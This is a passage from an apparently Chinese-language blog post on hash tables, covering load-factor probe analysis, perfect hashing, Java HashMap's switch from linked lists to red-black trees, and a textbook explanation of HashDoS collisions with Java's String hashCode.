class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:1.9579em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.8284em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>m</mi><mi>n</mi></mfrac><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msubsup><mfrac><mn>1</mn><mrow><mi>m</mi><mo>−</mo><mi>i</mi></mrow></mfrac><mo>=</mo><mfrac><mn>1</mn><mi>α</mi></mfrac><msubsup><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mi>m</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow><mi>m</mi></msubsup><mfrac><mn>1</mn><mi>k</mi></mfrac></mrow><annotation encoding="application/x-tex">\frac{m}{n} \sum_{i=0}^{n-1} \frac{1}{m - i} = \frac{1}{\alpha} \sum_{k=m-n+1}^{m} \frac{1}{k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3573em;vertical-align:-0.4033em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.954em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">i</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4033em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2031em;vertical-align:-0.358em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">m</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">n</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.358em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></p><p>这是设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mi>m</mi><mo>−</mo><mi>i</mi></mrow><annotation encoding="application/x-tex">k = m - i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>，然后换元，然后求和次序反转。</p></blockquote><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">\alpha = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span>，则期望数为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.387</mn></mrow><annotation encoding="application/x-tex">1.387</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.387</span></span></span></span>。</p><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mn>0.9</mn></mrow><annotation encoding="application/x-tex">\alpha = 0.9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.9</span></span></span></span>，则期望数为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2.559</mn></mrow><annotation encoding="application/x-tex">2.559</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2.559</span></span></span></span>。</p><p>显然扩容很重要，维持 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 在合理区间内，在空间和时间上取得平衡，见 <a href="/2026/01/18/CS61B-Note-Collection/#hashtable">CS61B Hash Table</a>。</p><h2 id="perfect-hashing"><a class="markdownIt-Anchor" href="#perfect-hashing"></a> Perfect hashing</h2><p>前面的全域哈希更多是为了后面的完美哈希铺垫的。</p><p>大致为，对于固定的的键集合 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>K</mi><mi mathvariant="normal">∣</mi><mo>=</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">|K| = n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，先将其散列到长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的表中，可能发生碰撞。然后在碰撞的槽位上，再使用一个长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>n</mi><mi>i</mi><mn>2</mn></msubsup></mrow><annotation encoding="application/x-tex">n_i^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0728em;vertical-align:-0.2587em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4413em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2587em;"><span></span></span></span></span></span></span></span></span></span> 的表来存储冲突的元素，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">n_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个槽位上发生碰撞的元素数量。对于每个槽位，从散列簇中随机选择一个散列函数，直到没有碰撞为止。</p><p>可以证明尝试几次就能找到合适的函数。</p><p>证明 IGNORED</p><p>查到还有 Minimal Perfect Hashing，可以空间做到 100% 利用率，多用于编译器。</p><h2 id="linked-list-to-red-black-tree"><a class="markdownIt-Anchor" href="#linked-list-to-red-black-tree"></a> Linked list to red-black tree</h2><p>对于过长的桶，可以直接将链表换成红黑树。</p><p>链表的查找时间是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，而红黑树的查找时间是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>log</mi><mo>⁡</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。但插入和删除时链表的时间复杂度是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，而红黑树的时间复杂度还是是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>log</mi><mo>⁡</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</p><p>显然有一个临界值。对于 Java 的 HashMap 来说，当链表长度超过 8 时，就会将链表转换为红黑树。</p><h2 id="hashdos"><a class="markdownIt-Anchor" href="#hashdos"></a> HashDOS</h2><p>首先，为了追求极致的查询性能，早期的哈希函数设计大多是<strong>确定性</strong>的：</p><ul><li><strong>DJBX33A</strong> (PHP 早期使用)</li><li><strong>FNV</strong> (Python 早期使用变体)</li><li><strong>MurmurHash</strong> (Redis, Memcached 等使用)</li><li><strong>Java String hashCode</strong></li></ul><blockquote><p>实际上是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k) = h&#x27;(k) \bmod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup></mrow><annotation encoding="application/x-tex">h&#x27;</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span> 是上述的确定性哈希函数，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 是哈希表大小。</p><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 会变（扩容），实际碰撞指的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><msub><mi>k</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>=</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><msub><mi>k</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h&#x27;(k_1) = h&#x27;(k_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></p></blockquote><p>以上这些 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h&#x27;(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 可以构建出大量碰撞的输入，例如对于 Java 的 <code>31 * h + c</code>，攻击者可以构造出 <code>&quot;Aa&quot;</code> 和 <code>&quot;BB&quot;</code> 这两个字符串，它们 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h&#x27;(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 的值相同。</p><blockquote><p>具体来说，计算方式是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>=</mo><mi>s</mi><mo stretchy="false">[</mo><mn>0</mn><mo stretchy="false">]</mo><mo>⋅</mo><msup><mn>31</mn><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>+</mo><mi>s</mi><mo stretchy="false">[</mo><mn>1</mn><mo stretchy="false">]</mo><mo>⋅</mo><msup><mn>31</mn><mrow><mi>n</mi><mo>−</mo><mn>2</mn></mrow></msup><mo>+</mo><mo>⋯</mo><mo>+</mo><mi>s</mi><mo stretchy="false">[</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">h(s) = s[0] \cdot 31^{n-1} + s[1] \cdot 31^{n-2} + \dots + s[n-1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">s</span><span class="mopen">[</span><span class="mord">0</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">3</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord 